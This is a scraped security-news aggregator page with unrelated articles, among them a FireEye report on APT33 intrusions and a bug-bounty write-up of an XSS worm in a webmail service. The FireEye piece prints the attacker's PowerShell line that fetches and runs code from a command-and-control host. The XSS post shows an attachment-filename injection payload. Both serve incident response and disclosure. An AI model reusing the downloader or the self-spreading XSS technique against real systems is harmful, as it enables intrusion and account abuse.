Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all 12749 articles
Browse latest View live

女黑客SandboxEscaper第三次在Twitter披露未修复的Windows 0day

$
0
0

女黑客SandboxEscaper第三次在Twitter披露未修复的Windows 0day

这是女黑客 SandboxEscaper 在四个月来第三次发布存在于微软 windows 中的 0day 漏洞,并且还提供了可读取未授权位置的利用代码。

她发布了影响 ReadFile.exe 的一个安全漏洞,如该文件的名称所示,可允许攻击者从特定位置读取数据。

PoC 利用代码证实有效

这个漏洞存在于“MsiAdvertiseProduct”函数中,微软称该函数能够生成一个广告脚本或向计算机广告产品,而且“能够让安装程序在脚本中写入注册表和用于分配或发布产品的快捷信息”。

调用这个函数可导致受攻击者控制的安装程序服务复制任意文件。

SandboxEscaper解释称,尽管进行了检查,但可以通过检查使用时间 (a time to check to time to use, TOCTOU) 竞争条件类型绕过保护措施。她指出,结果就是很有可能以系统权限复制任意文件,而目的地随时均可读取。正因如此,她将该漏洞命名为任意文件读取漏洞。她还通过视频演示了自己的研究成果。

SandboxEscaper 表示,“证实这个 bug 最简单的方法是创建两个本地账户并读取另外一个账户的 desktop.ini。”Acros Security 公司的首席执行官兼0Patch 平台的创始人 Mitja Kolsek 已证实该 PoC 的有效性。该平台负责在等待漏洞被完全修复期间,向客户推出临时修复方案(微补丁)。

Kolsek 表示希望在圣诞节之前推出微补丁。

发布第三个 0day,引 FBI 注意

这是 SandboxEscaper 第三次公开发布 Windows 0day,并未提前告知微软相关情况。

8月末,她发布第一个0day 漏洞,可导致攻击者通过 Windows 任务调度程序提升权限。10月末,她发布第二个同为权限提升的 0day 漏洞,可导致攻击者在未经许可的情况下删除系统上的任意文件。

发布第一个 Windows 0day 漏洞后,SandboxEscaper 便无法访问其发布漏洞详情和 PoC 代码的 GitHub 账户。她在博客上因此直接指责微软。

SandboxEscaper还引发 FBI 的注意,原因是她收到了关于自己谷歌账户内容发布的传票。

虽然FBI 这么做的原因尚不得知,但可能和她公开发布 Windows 0day 和利用代码的行为无关。有可能是因为她在推特上发布了威胁美国总统的内容。

本文由360代码卫士翻译自 BleepingComputer

声明:本文来自代码卫士,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。


Whistleblowing app Blind admits security lapse exposed messaging data

$
0
0

ByRoger Fingas

Friday, December 21, 2018, 06:22 am PT (09:22 am ET)

Blind, an anonymous whistleblowing app said to have users at Apple and other large tech corporations, has acknowledged that it recently left one of its servers without a password, exposing identifiable account data.


Whistleblowing app Blind admits security lapse exposed messaging data

The gap was discovered by a security researcher, who alerted the company to the problem, according to TechCrunch . Blind only pulled down the offending database, however, after TechCrunch followed up on the issue. The app 's developers started emailing customers this Thursday.

"While developing an internal tool to improve our service for our users, we became aware of an error that exposed user data," the email reads.

The exposure affects people who signed up or logged in between Nov. 1 and Dec. 19, and Blind executive Kyum Kim claimed that there is "no evidence" so far of data being stolen or misused. TechCrunch noted that the database offered "a real-time stream of user logins, user posts, comments and other interactions, allowing anyone to read private comments and posts," and that it was possible to see user access tokens, as well as the email addresses of people who hadn't yet posted.

Passwords were allegedly found stored as an easily-cracked MD5 hash, but Kim denied this, insisting that the company uses methods such as salted hash and SHA2.

Blind users have been credited with exposing several corporate scandals, including sexual harassment at Uber. The ridesharing giant resorted to blocking the app on its internal network. Aside from Apple, some other companies with Blind users include Facebook, Google, Microsoft, and Twitter.

Outlets for anonymous whistleblowing have become extremely important in the modern tech landscape, as corporations have sometimes proven eager to punish or silence people who bring immoral or illegal actions to light.

XSS worm A creative use of web application vulnerability

$
0
0

In my free time, I like to do some bug bounty hunting. For some reasons, I’ve been doing this almost exclusively for Swisscom. One of the reason is that the scope is very broad and I like to have this vast landscape full of possibilities. While preparing the talk we had at BlackAlps (https://www.blackalps.ch) with Florian, he mentioned that an ex-colleague, Alexandre, had done a cool PoC for an XSS exploitation in the webmail at https://webmail.bluewin.ch. By chance, I had been starting to work on this system as well (and found an authorization bypass regarding email attachments… but this is another story ;-) ). Curious as I am, I contacted Alexandre and he shared his PoC with me, all credits for the idea and the first version goes to him!

The whole idea is to use an XSS that can be forwarded via email to turn it into a worm that can replicate itself and spread on the mailbox of numerous users. This was possible in his version of the PoC thanks to an XSS that would get activated when the recipient of an email would reply and email or forward it. I thought it was very cool, but could use some improvement and I looked for another XSS to remove most of the user interaction. I was lucky enough to find one.

The XSS is triggered in the attachments, where one can use special characters like < and > that won’t be properly escaped in the filename of the attachments. This happens when reading an email, the HTTP request is as follows:

POST /cp/applink/mail/ReadMessage HTTP/1.1 Host: rich-v01.bluewin.ch User-Agent: Mozilla/5.0 (X11; linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://rich-v01.bluewin.ch/cp/ps/main/richui/main_swisscom X-CP-Application: RichUI 3.3.5.3.4 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 143 Cookie: [CUT BY COMPASS] Connection: close folderPath=Drafts&accountName=rireoubli%40bluewin.ch&detailLevel=hba&attachmentLevel=apt&drf=json&messageId=8&u=1480032388&d=bluewin.ch&t=82d87

As can be seen in the response below, the angle brackets are not escaped but the double-quotes are. The filename is later included into the DOM without more escaping, allowing for XSS.

[CUT BY COMPASS] "attachments": [ { [CUT BY COMPASS] "attributes":[ { "size": "24820" }, { "fileName": "grumpycat<img src=x onerror=alert(1)>.jpg" }, { "downloadUrl": "/applink/mail/Downloader?dhid=attachmentDownloader&messageId=8&accountName=rireoubli%40bluewin.ch&folderPath=Drafts&contentDisposition=attachment&attachmentIndex=0&contentSeed=d1281&pct=22d51" }, { "contentType": "IMAGE/JPEG; name=\"grumpycat<img src=x onerror=alert(1)>.jpg\"" }, { "mimeType": "IMAGE/JPEG" } ] } [CUT BY COMPASS]

However, there were some limitations. After some tries,I turned to twitter and got the help I needed:


XSS worm   A creative use of web application vulnerability

Armed with this, I could send the first version of the worm using the webmail. This would simply load a further script on my server and I could then easily trigger and modify the worm:


XSS worm   A creative use of web application vulnerability

From here, it was easy to update the PoC and the code would now do the following upon opening the email:

Open a first popup “Here we go!” Open a second popup to thank the user and confirm that he wants to run arbitrary javascript in his session If the user accepted, open a third popup asking if the user agrees to mine some crypto coin while executing the PoC If the user accepted, open the bitcoin miner Get a list of all contacts and count the ones that end with @bluewin.ch, display 4 of them to the user and ask if we can send the worm to one of them Ask for a confirmation that the user really wants to send the payload to this email Confirming that the email was sent correctly and quitting

All of this involves a lot of user interaction, but it would have been trivial (and even easier) to do it without asking the permission and let the worm propagate automatically. Here is a small video of the code in action:

XSS worm in action

Timeline:

End of October 2018: First XSS Worm PoC 01.11.2018: Found second XSS and reported to Swisscom 02.11.2018: PoC code updated and forwarded to Swisscom 27.11.2018: Fix applied and verified 21.12.2018: Publication of this blog post

As a last note, it was a pleasure to collaborate with Alexandre and the Swisscom team again, not forgetting all the ones on Twitter that took some time to help as well. Thanks to everyone that read that far, have a safe and merry Christmas!

Why Questioning is Pivotal to Successful Career in Web Security?

$
0
0

Questioning is pivotal to success in web security and you need to ask the WHY question almost every time (why did this work and why did this not work) and answer them yourself.

As you start practicing security, you have to make a difficult adjustment in your learning process by asking questions.

What is this Bug? How does this bug work? Why does this bug work?

If you find a bug; How did I find this bug? Why does this bug exist?

If you don’t find a bug; Why didn’t I find this bug? What am I doing wrong?

You have to know why you couldn’t find that bug. Maybe you were able to find that bug in your practice on the VM but you are not able to find the bug in the actual website.

You have to know Why . Possibly the website you are testing has implemented a good security mechanism. So you have to learn what they doing right.

Once you know more about doing things right, you will automatically know how to do things wrong. And next time when you go to test another website you will know what these guys are missing.

If you are a beginner in Web Security, Go after bug bounties . You can sign-up with hackrone and bugcrowd .


Why Questioning is Pivotal to Successful Career in Web Security?
When solving problems, dig at the roots instead of just hacking at the leaves. - Anthony J. D'Angelo

You will see public programs that have running a bug bounty programs. For example, Google is running a bug bounty program, you can go ahead and try to find the issues you have learned.

Bear in mind that most the common problem in bug bounty hunters is that once you find a bug, you get over excited.

You want to get paid for it quickly, your focus redirects to money and you stop logical thinking at $200 bounty. And as a result, sometimes your bug will have much more impact. Only if you think more and questions, you can make it to $2000 or even $20000 bounty.

Remember, as a web security researcher, you take regular everyday things and think of malicious ways of using those things.

So, asking questions will keep you from looking at the website from a bird’s eye view and find low hanging fruit i.e, security vulnerabilities without any serious impact .

If you want to be an above average web security researcher , you need to know everything that's happening in the web development world.

With deliberate you can nurture genuine curiosity about web security so that you don’t outgrow your passion for it because you needto take a closer and deeper look at how the different technologies used by the website come together.

Also, if you like online courses. The skills required for Web Application Security are taught excellently in P lay by Play: Bug Bounties for Researchers and The Information Security Big Picture Course by Troy Hunt on PluralSight.

Before yougo . . .

Always keep in mind that the devil is in the detail. And when it comes to Web security, asking questions will create capacity for patience while trying to find bugs.

So think of Questioning as a critical skill which is pivotal to success in web security.

You may also be interested in reading So you want to Become a Web Security Researcher ?

And, If you liked this post enough, please share it with your friends and don't forget to sign up for Data-Centric and SecurityNewsletter to keep up with similar awesome insights once every quarter. Cheers!

Week 20: Quietly releasing 0.3

$
0
0
Protecting liberty by simplifying security

Recap : We’re building Fluidkeys, to help you easily send end-to-end encrypted secrets using PGP.

Using Fluidkeys reduces the impact of third-party data breaches, targeted spearphishing attacks and network compromise.

The short version: We wrestled with how macOS stores passwords in its keychain Paul took more calls! :phone: We released! Fluidkeys now guides you through getting setup to send and receive secrets! ♀ macOS keychain shenanigans

The macOS keychain is a bit of software that you can use to store your passwords on. It’s useful since as it means you put them on it and then forget all about them. The programs that you stored your passwords can later retrieve them when needed, since your keychain unlocks when you log into your mac each time.

We’ve made Fluidkeys store your key’s strong password on the keychain, but had got ourselves in a bit of muddle. The password on the keychain wasn’t accessible to a job that runs every hour in the background to check whether it needs to rotate and update your key. So we lost a day or so to debugging and fixing that. Pleased to say it’s working!

Learning more about how people use encryption

Paul also had another four interesting calls with people about how they're using PGP and encryption, including speaking to an auditor. I feel all these calls over the past few weeks have really helped us understand more about the different pains people using PGP experience. With Fluidkeys now in a place where it's delivering some minimum value, I'm sure we're going to learn so much more now we're able to release. Exciting! :rocket:

We’ve (quietly) released 0.3

As of today, you can get your team setup on Fluidkeys and send end-to-end encrypted secrets to one another from the command-line!

Paul will announce it properly soon, but if you can’t wait go ahead anddownload it now.

Secret Squirrel made it into the command line, see if you can see where!

I’m off on holiday now until mid January, so you’ll be hearing from Paul in the new year. Thanks to everyone who’s been following along, it’s been incredibly helping receiving your words of support and advice as we’ve gone this year!

Have a fantastic holiday and happy new year!

― Ian

All feedback is welcome, pop us an email tohello@fluidkeys.com

Back to all weeknotes

Subscribe to the weeknotes

Introducing Dexter

$
0
0

Prioritizing security is not just a part of Coinbase’s culture, it’s necessary to our success. Traditional financial institutions have always required a high level of security to protect their customer’s privacy and prevent fraud, but due to the nature of cryptocurrency Coinbase faces an even higher level of risk.

Possession of a private key is control over the currency secured by that key, which removes a step in the monetization of a theft. Rather than needing to sell stolen data, or perform identity theft to turn a data breach into a profit, theft of a private key leads to an immediate financial reward for the attacker. Once a crypto transaction is confirmed, there’s no recourse, no reversals.

Part of any good security program is good visibility into the environment, which runs counter to the notion that sensitive information, like private keys, should be inaccessible. For incident response purposes, Coinbase needs to be able to collect any information off of even our most sensitive services. We needed a remote, real-time forensics acquisition solution built for security. In order to solve this problem we turned to one of our guiding security principles, consensus, and created a new forensics framework called Dexter .

There are already several great forensics acquisition projects out there for every major operating system, and it doesn’t make sense to invest time re-inventing the wheel. Dexter is designed to wrap other tools, where available, to perform forensics tasks. The place that Dexter advances beyond the capabilities that were already available in other tools is the secure approval process for investigations, and the secure retrieval process for forensic artifacts.

Architecture and Use

We started by defining our security requirements. The last thing we wanted to build was remote code execution as a service, so we decided that all forensics tasks must be codified in the application and added through our code review process. We also wanted to ensure the artifacts collected by forensics tasks were end-to-end encrypted back to the investigators that had permission to read them, removing any trust in our infrastructure. In order to achieve our goals for consensus, each member of the response team is identified by a public key and an investigation must receive a number of signatures that correspond to the sensitivity of the tasks defined in the investigation.

Dexter runs as a daemon, ready to collect forensics artifacts when an investigation reaches the required consensus threshold. This daemon is designed to work in a variety of environments, from a linux production environment in EC2 to an OSX or windows fleet in the office. Investigators interact with Dexter using the command line, where they can issue investigations and retrieve reports, all backed by S3.


Introducing Dexter

The same binary used to start the daemon is used on the command line. To get an investigation into a Dexter daemon, an investigator will use the command line to generate an investigation, sign it, and upload to S3. When creating an investigation, an investigator will decide what tasks to run, and what facts about a host will be used to scope the investigation. The investigator can also instruct Dexter to kill the running containers on a host, or shut down a host, after the investigation is complete. Finally, the investigator can choose which investigators are allowed to read the results of this investigation.


Introducing Dexter

The investigations that get uploaded are simple JSON documents. In this example we see the random ID for the investigation, the forensics tasks to run, and the facts used to scope the hosts that will run this investigation. Dexter has an ability to obscure arguments to some facts using a hash salted with the investigation ID. In this example, the user is obscured so that other hosts that are not in scope would have a hard time determining which user is under investigation.


Introducing Dexter

As other investigators approve this investigation, they will append their signature to the Approvers key, and upload the updated version to S3. Once the investigation reaches consensus, all the hosts in scope will run the selected tasks and create encrypted reports for the selected investigations. When interacting with investigations and reports on the command line, only a minimal amount of the investigation’s ID must be specified to disambiguate the investigation.


Introducing Dexter

Control over who can read investigations is done with a KEK/DEK model (Key Encryption Key, Data Encryption Key). For each investigator who is approved to read the results, Dexter generates a new random AES key, encrypts the report, then encrypts the key with the investigator’s public key. Each investigator can then access their report with their private key.


Introducing Dexter

You can learn more about using Dexter from the repository . The command line is also fully documented here . Dexter is extended by creating new tasks and facts, based on the example task and example fact files.

What’s next

We’re building a larger vision of incident response at Coinbase that uses automation to reduce the amount of time it takes to get an investigator in front of relevant data. Dexter provides the mechanism to securely collect data. In the future, Dexter will be operated in part by our internal IDS, and once an incident is detected, a secure analysis environment will be created in EC2 to investigate the Dexter reports. This environment can be rich with tools, and have extra protections in place to make sure sensitive data doesn’t make it back to an employee machine. We still have a way to go before our vision is realized, but we’re building it every day.

Dexter is still in its infancy and just beginning to be rolled out, but it was important to me to share this project as soon as possible in order to get feedback from the broader security community. Earlier this year we released Salus , which brings the best application security scanners under one roof. If you think you’d enjoy working in an environment where security is a top priority, reach out to Coinbase , we’re always looking for talented security professionals in all fields.

OVERRULED: Containing a Potentially Destructive Adversary

$
0
0
Introduction

FireEye assesses APT33 may be behind a series of intrusions and

attempted intrusions within the engineering industry. Public reporting

indicates this activity may be related to recent destructive attacks.

FireEye’s

Managed

has responded to and contained numerous intrusions that we

assess are related. The actor is leveraging publicly available tools

in early phases of the intrusion; however, we have observed them

transition to custom implants in later stage activity in an attempt to

circumvent our detection.

On Sept. 20, 2017, FireEye Intelligence published a blog post

detailing spear phishing activity

targeting

. Recent public reporting

indicated possible links between the confirmed APT33 spear phishing

and

destructive

; however, we were unable to independently verify

this claim. FireEye’s Advanced Practices team leverages telemetry and

aggressive proactive operations to maintain visibility of APT33 and

their attempted intrusions against our customers. These efforts

enabled us to establish an operational timeline that was consistent

with multiple intrusions Managed Defense identified and contained

prior to the actor completing their mission. We correlated the

intrusions using an internally-developed similarity engine described

below. Additionally, public discussions have also indicated that

specific attacker infrastructure we observed is possibly related to

the recent destructive SHAMOON attacks.

45 days ago, during 24×7 monitoring, #ManagedDefense

detected & contained an attempted intrusion from

newly-identified adversary infrastructure*.

It is C2 for a code family we track as POWERTON.

*hxxps://103.236.149[.]100/api/info ― FireEye (@FireEye)

December

15, 2018

Identifying the Overlap in Threat Activity FireEye augments our expertise with an

internally-developed

to evaluate potential associations and

relationships between groups and activity. Using concepts from

document clustering and topic modeling literature, this engine

provides a framework to calculate and discover similarities between

groups of activities, and then develop investigative leads for

follow-on analysis. Our engine identified similarities between a

series of intrusions within the engineering industry. The near

real-time results led to an in-depth comparative analysis. FireEye

analyzed all available organic information from numerous intrusions

and all known APT33 activity. We subsequently concluded, with medium

confidence, that two specific early-phase intrusions were the work of

a single group. Advanced Practices then reconstructed an operational

timeline based on confirmed APT33 activity observed in the last year.

We compared that to the timeline of the contained intrusions and

determined there were circumstantial overlaps to include remarkable

similarities in tool selection during specified timeframes. We assess

with low confidence that the intrusions were conducted by APT33. This

blog contains original source material only, whereas Finished

Intelligence including an all-source analysis is

available

. To best understand the

techniques employed by the adversary, it is necessary to provide

background on our Managed Defense response to this activity during

their 24×7 monitoring.

Managed Defense Rapid Responses: Investigating the Attacker

In mid-November 2017, Managed Defense identified and responded to

targeted threat activity at a customer within the engineering

industry. The adversary leveraged stolen credentials and a publicly

available tool, SensePost’s RULER , to configure a

client-side mail rule crafted to download and execute a malicious

payload from an adversary-controlled WebDAV server 85.206.161[.]214@443\outlook\live.exe (MD5: 95f3bea43338addc1ad951cd2d42eb6f ).

The payload was an AutoIT downloader that retrieved and executed

additional PowerShell from hxxps://85.206.161[.]216:8080/HomePage.htm . The

follow-on PowerShell profiled the target system’s architecture,

downloaded the appropriate variant of PowerSploit (MD5:

c326f156657d1c41a9c387415bf779d4 or

0564706ec38d15e981f71eaf474d0ab8 ), and reflectively loaded

PUPYRAT (MD5: 94cd86a0a4d747472c2b3f1bc3279d77 or

17587668AC577FCE0B278420B8EB72AC ). The actor leveraged a

publicly available exploit for CVE-2017-0213 to escalate privileges,

publicly available windows SysInternals PROCDUMP to dump the LSASS

process, and publicly available MIMIKATZ to presumably steal

additional credentials. Managed Defense aided the victim in containing

the intrusion.

FireEye collected 168 PUPYRAT samples for a comparison. While import

hashes (IMPHASH) are insufficient for attribution, we found it

remarkable that out of the specified sampling, the actor’s IMPHASH was

found in only six samples, two of which were confirmed to belong to

the threat actor observed in Managed Defense, and one which is

attributed to APT33. We also determined APT33 likely transitioned from

PowerShell EMPIRE to PUPYRAT during this timeframe.

In mid-July of 2018, Managed Defense identified similar targeted

threat activity focused against the same industry. The actor leveraged

stolen credentials and RULER’s module that exploits CVE-2017-11774

(RULER.HOMEPAGE), modifying numerous users’ Outlook client homepages

for code execution and persistence. These methods are further explored

in this post in the "RULER In-The-Wild" section.

The actor leveraged this persistence mechanism to download and

execute OS-dependent variants of the publicly available .NET POSHC2

backdoor as well as a newly identified PowerShell-based implant

self-named POWERTON. Managed Defense rapidly engaged and successfully

contained the intrusion. Of note, Advanced Practices separately

established that APT33 began using POSHC2 as of at least July 2, 2018,

and continued to use it throughout the duration of 2018.

During the July activity, Managed Defense observed three variations

of the homepage exploit hosted at hxxp://91.235.116[.]212/index.html . One example is

shown in Figure 1.


OVERRULED: Containing a Potentially Destructive Adversary
Figure 1: Attacker’s homepage exploit (CVE-2017-11774)

The main encoded payload within each exploit leveraged WMIC to

conduct system profiling in order to determine the appropriate

OS-dependent POSHC2 implant and dropped to disk a PowerShell script

named “Media.ps1” within the user’s %LOCALAPPDATA% directory ( %LOCALAPPDATA%\MediaWs\Media.ps1 ) as shown in

Figure 2.


OVERRULED: Containing a Potentially Destructive Adversary
Figure 2: Attacker’s “Media.ps1” script

The purpose of “ Media.ps1 ” was to decode

and execute the downloaded binary payload, which was written to disk

as “ C:\Users\Public\Downloads\log.dat ”. At a

later stage, this PowerShell script would be configured to persist on

the host via a registry Run key.

Analysis of the “ log.dat ” payloads

determined them to be variants of the publicly available POSHC2

proxy-aware stager written to download and execute PowerShell payloads

from a hardcoded command and control (C2) address. These particular

POSHC2 samples run on the .NET framework and dynamically load payloads

from Base64 encoded strings. The implant will send a reconnaissance

report via HTTP to the C2 server ( hxxps://51.254.71[.]223/images/static/content/ )

and subsequently evaluate the response as PowerShell source code. The

reconnaissance report contains the following information:

Username and domain Computer name CPU details Current exe PID Configured C2 server

The C2 messages are encrypted via AES using a hardcoded key and

encoded with Base64. It is this POSHC2 binary that established

persistence for the aforementioned “ Media.ps1 ” PowerShell script, which then decodes

and executes the POSHC2 binary upon system startup. During the

identified July 2018 activity, the POSHC2 variants were configured

with a kill date of July 29, 2018.

POSHC2 was leveraged to download and execute a new PowerShell-based

implant self-named POWERTON ( hxxps://185.161.209[.]172/api/info ) . The

adversary had limited success with interacting with POWERTON during

this time. The actor was able to download and establish persistence

for an AutoIt binary named “ ClouldPackage.exe ” (MD5:

46038aa5b21b940099b0db413fa62687), which was achieved via the POWERTON

“persist” command. The sole functionality of “ ClouldPackage.exe ” was to execute the following

line of PowerShell code:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback
= { $true }; $webclient = new-object System.Net.WebClient;
$webclient.Credentials = new-object
System.Net.NetworkCredential(‘public’,
‘fN^4zJp{5w#K0VUm}Z_a!QXr*]&2j8Ye’); iex $webclient.DownloadString(‘hxxps://185.161.209[.]172/api/default’)

The purpose of this code is to retrieve “silent mode” POWERTON from

the C2 server. Note the actor protected their follow-on payloads with

strong credentials. Shortly after this, Managed Defense contained the intrusion.

Starting approximately three weeks later, the actor reestablished

access through a successful password spray. Managed Defense

immediately identified the actor deploying malicious homepages with

RULER to persist on workstations. They made some infrastructure and

tooling changes to include additional layers of obfuscation in an

attempt to avoid detection. The actor hosted their homepage exploit at

a new C2 server ( hxxp://5.79.66[.]241/index.html ). At least three

new variations of “ index.html ” were

identified during this period. Two of these variations contained

encoded PowerShell code written to download new OS-dependent variants

of the .NET POSHC2 binaries, as seen in Figure 3.


OVERRULED: Containing a Potentially Destructive Adversary
Figure 3: OS-specific POSHC2 Downloader

Figure 3 shows that the actor made some minor changes, such as

encoding the PowerShell " DownloadString " commands and renaming the

resulting POSHC2 and .ps1 files dropped to disk. Once decoded, the

commands will attempt to download the POSHC2 binaries from yet another

new C2 server ( hxxp://103.236.149[.]124/delivered.dat ). The name

of the .ps1 file dropped to decode and execute the POSHC2 variant also

changed to “ Vision.ps1 ”. During this August

2018 activity, the POSHC2 variants were configured with a “kill date”

of Aug. 13, 2018. Note that POSHC2 supports a kill date in order to

guardrail an intrusion by time and this functionality is built into

the framework.

Once again, POSHC2 was used to download a new variant of POWERTON

(MD5: c38069d0bc79acdc28af3820c1123e53 ), configured to

communicate with the C2 domain hxxps://basepack[.]org . At one point in

late-August, after the POSHC2 kill date, the adversary used

RULER.HOMEPAGE to directly download POWERTON, bypassing the

intermediary stages previously observed.

Due to Managed Defense’s early containment of these intrusions, we

were unable to ascertain the actor’s motivations; however, it was

clear they were adamant about gaining and maintaining access to the

victim’s network.

Adversary Pursuit: Infrastructure Monitoring

Advanced Practices conducts aggressive proactive operations in order

to identify and monitor adversary infrastructure at scale. The

adversary maintained a RULER.HOMEPAGE payload at hxxp://91.235.116[.]212/index.html between July 16

and Oct. 11, 2018. On at least Oct. 11, 2018, the adversary changed

the payload (MD5: 8be06571e915ae3f76901d52068e3498 ) to download

and execute a POWERTON sample from hxxps://103.236.149[.]100/api/info

(MD5: 4047e238bbcec147f8b97d849ef40ce5 ). This specific

URL was identified in a

public

as possibly related to recent destructive attacks. We

are unable to independently verify this correlation with any organic

information we possess.

On Dec. 13, 2018, Advanced Practices proactively identified and

attributed a malicious RULER.HOMEPAGE payload hosted at hxxp://89.45.35[.]235/index.html (MD5:

f0fe6e9dde998907af76d91ba8f68a05 ). The payload was crafted to

download and execute POWERTON hosted at hxxps://staffmusic[.]org/transfer/view (MD5: 53ae59ed03fa5df3bf738bc0775a91d9 ).

Table 1 contains the operational timeline for the activity we analyzed.

DATE/TIME (UTC)

NOTE

INDICATOR

2017-08-15 17:06:59

APT33 EMPIRE (Used)

8a99624d224ab3378598b9895660c890

2017-09-15 16:49:59

APT33 PUPYRAT (Compiled)

从0开始你的域渗透之旅

$
0
0
从0开始你的域渗透之旅 0x01 前言

ps:我们四个两个月前挖的坑,现在都还没填上。

不多BB,这个Book主要是介绍了域的搭建,有小型环境,大型环境,还有域渗透常用的工具,里面提到的都是常用的,emmm,我们会尽量去完善,业余时间比较紧张。

0x02 章节 Start 搭建实验环境 凭证窃取 探测域环境 攻击 提权 bypass AV 密码破解 C2维持 other

其实最重要的部分就是信息收集这一块

0x03 End

谢谢几个小伙伴一起填坑! wing crazywa1ker zer0yu TheKingOfDuck

还有谢谢backlion师傅和Dm基佬。 希望Dm师傅的书尽早写完,23333

不断的完善book的翻译bug!

:heart::heart::heart: 一帮基佬在交流:HA3TQNBWGQYTMOI=

原文地址: darthsidious


VRO code to apply a NSX security tag

$
0
0

I recently created an environment that had a VRA XaaS to apply a security tag to individual virtual machines. I wanted to share the code I wrote to speed up your adoption. In this case we have a scriptable task to do the work. We have one parameter:


VRO code to apply a NSX security tag
Parameters (it’s the string name of the server)

We have two attributes:


VRO code to apply a NSX security tag
tag ( array of names selected because you have VRO integrated with NSX endpoint) RestAPI endpoint for NSX

Here is the code:


VRO code to apply a NSX security tag
Here is the scriptable task and code

Here is the code for cut and paste usage:

//name = ‘dev-214’;

vms = VcPlugin.getAllVirtualMachines();

for each (vm in vms) {

if (vm.Name == name) {

System.log(“VM name: ” + vm.name + ” MOID: ” + vm.id);

machineMOID = vm.id;

}

}

// Apply the tag

NSXSecurityTagManager.applySecurityTagOnVMs(connection, machineMOID, tag);

Truehost Cloud offers free SSL Certificates this festive season to nab in custom ...

$
0
0

Truehost Cloud offers free SSL Certificates this festive season to nab in custom ...

Tech


Truehost Cloud offers free SSL Certificates this festive season to nab in custom ...

Truehost Cloud Limited, a premier cloud computing company with operations in Kenya and Nigeria has started offering free SSL certificates to all users across the globe. This was revealed by the Truehost Cloud Limited CEO, Mr Jacob Mugendi, who announced that the services will be offered in collaboration with Let’s Encrypt, and gives all websites hosted with Truehost Cloud a basic SSL certificate to secure the site.

The move by Truehost to offer free SSL follows a growing need for data encryption and enhanced security in the modern world, as cyber criminals continue to target data. Many browsers are now actively warning users when they visit unsecured websites, and unsecured websites getting lower SEO rankings with major search engines. “The internet operates like a road network, and involves data moving from one point to another, passing through many intermediary points. This data needs to be secured while in transit.” said Mr Mugendi. “We all benefit when we know our data is safe, and that no one is stealing our personal information out there for malicious or unknown purposes.”

Let’s Encrypt is the leading free SSL certificate in the world today, offered by Internet Security Research Group. The organization works to eliminate barriers to secure communication over the internet, thus the move to offer free SSL. SSL certificates encrypt data that is being sent from a web browser to a server, ensuring that a third party (also known as Man in the Middle) cannot intercept and read the data. This is a major step in safeguarding private information.

Truehost Cloud is a registered .ke domain registrar by KeNIC, and operates in Kenya and Nigeria , offering domain registration services, web hosting, SSL certificates, and virtual servers through its global subsidiary CloudPap . It has grown exponentially by offering the revolutionary free web hosting services which has seen many people get a chance to have their own websites. The company hopes that the move is a step further to bettering the experience people have on the internet, with the launch of free SSL.

EOS再次受黑客攻击,准备要硬分叉,出现两个EOS?

$
0
0

据IMEOS报道,ToBet 12月19日凌晨2点遭到黑客恶意攻击,损失22000个EOS。

BetDice损失20万EOS,EOS Max损失超5万EOS,ToBet损失22000EOS,Big.game损失8000EOS。攻击共造成28万EOS被盗,按照目前的价格EOS价格17.23/个,则损失价值人民币480多万。除此之外,还有另外一位黑客向EOS竞猜类游戏Trustbet游戏合约发起攻击,共计获利11501个EOS,换算下来将近20万人民币。

据了解,此次两家黑客采取的攻击手段各不相同,分别采用了“回滚交易攻击”和“重放攻击”。“重放攻击”是由于初期开发者设计的开奖随机算法 存在严重缺陷,使得攻击者可利用合约漏洞重复开奖;而“回滚攻击”则是最近新兴的攻击手段,在赌博游戏类中,原则是在游戏进行中,只要有一个环节出错就会交易失败,进而回滚重新开始;所以黑客只要保证将投注的EOS退回,无成本的开始游戏,直到中奖为止。

虽然发生了DApp攻击事件,但是EOS整体的行情没有收到太大的影响,相比于之前BM事件,这些损失还不足以影响到EOS币价浮动。EOS DApp黑客攻击事件貌似对我们已经免疫了,乌鸦更感兴趣的是BM的身世和EOS分叉事件。


EOS再次受黑客攻击,准备要硬分叉,出现两个EOS?

从比特股到EOS,BM传奇经历

BM全名,ByteMaster(真名:Daniel Larimer),一位崇尚解决自由市场问题的怪才程序员。在历史中,三大著名区块链项目都经他手创造出来的:BitShares(比特股)、Steemit以及EOS。

2009年初他发现比特币时,便立即参与了推广比特币,由于认为比特币的确认时间太长,并且在Bitcointalk上与中本聪针锋相对。中本聪回复“看不懂就算了,我没时间搭理你,不好意思”。之后BM就没有继续纠缠下去,而是默默的开发了去中心化交易所比特股,创造出DPOS共识机制,提供了高性能的分散交易平台,并拥有交易平台期望的所有功能,它可以处理纳斯达克的交易量,并且能日结算订单。但是在2015年时的一个社区理事会投票中,为“调低交易费用”,BM被击败,并且选择离开。

离开之后,没有任何听停歇,反而创造出Steemit内容社交网络平台,贡献内容,评论内容都能得到一定的代币收益,在Stemmit稳定发展的时候,BM因为心中又更大的抱负选择离开,宣布辞职。

之后EOS就出现了,瞄准当时最火爆的ETH,开发了区块链行业的操作系统,为开发者提供底层功能,包括并行运算、数据库、账户系统等,并且使用Dpos机制,创新的21超级节点社区管理。EOS的亮点在于交易的时延和吞吐量两个性能指标上达到了质的提升,加上抵押机制消除手续费,使得EOS主网上运行的DApp实现了高级性能要求。


EOS再次受黑客攻击,准备要硬分叉,出现两个EOS?

EOS分叉新币,第四个项目

根据社区媒体的翻译:“BM打算打破自己原来的设计,抛弃Dpos,已经找到了解决隐私性的终结扩容的方法,这方法不是用zk-SNARK,能达到1000万的TPS,而且不需要手续费。没有RAM或者DISK的问题,每个人都能可以跑全节点,不需要投票或者股权质押,抗通胀。他声称自己不是在开玩笑,将在2019年开始进行,新代币比EOS有更好的安全性,没有中心化问题。”BM的一番话引起了社区空军及媒体的轰炸,声称BM要放弃EOS,但是事后出来解释不会放弃现在的EOS。

但是,EOS自主网上线以来,不仅没有实现号称百万的TPS,从5月开始EOS币价急剧下跌,目前EOS最大的问题是CPU问题:

用户在DApp中门槛过高,经常遇到网络瘫痪;

开发成本过高,需要支付大额租赁费用。


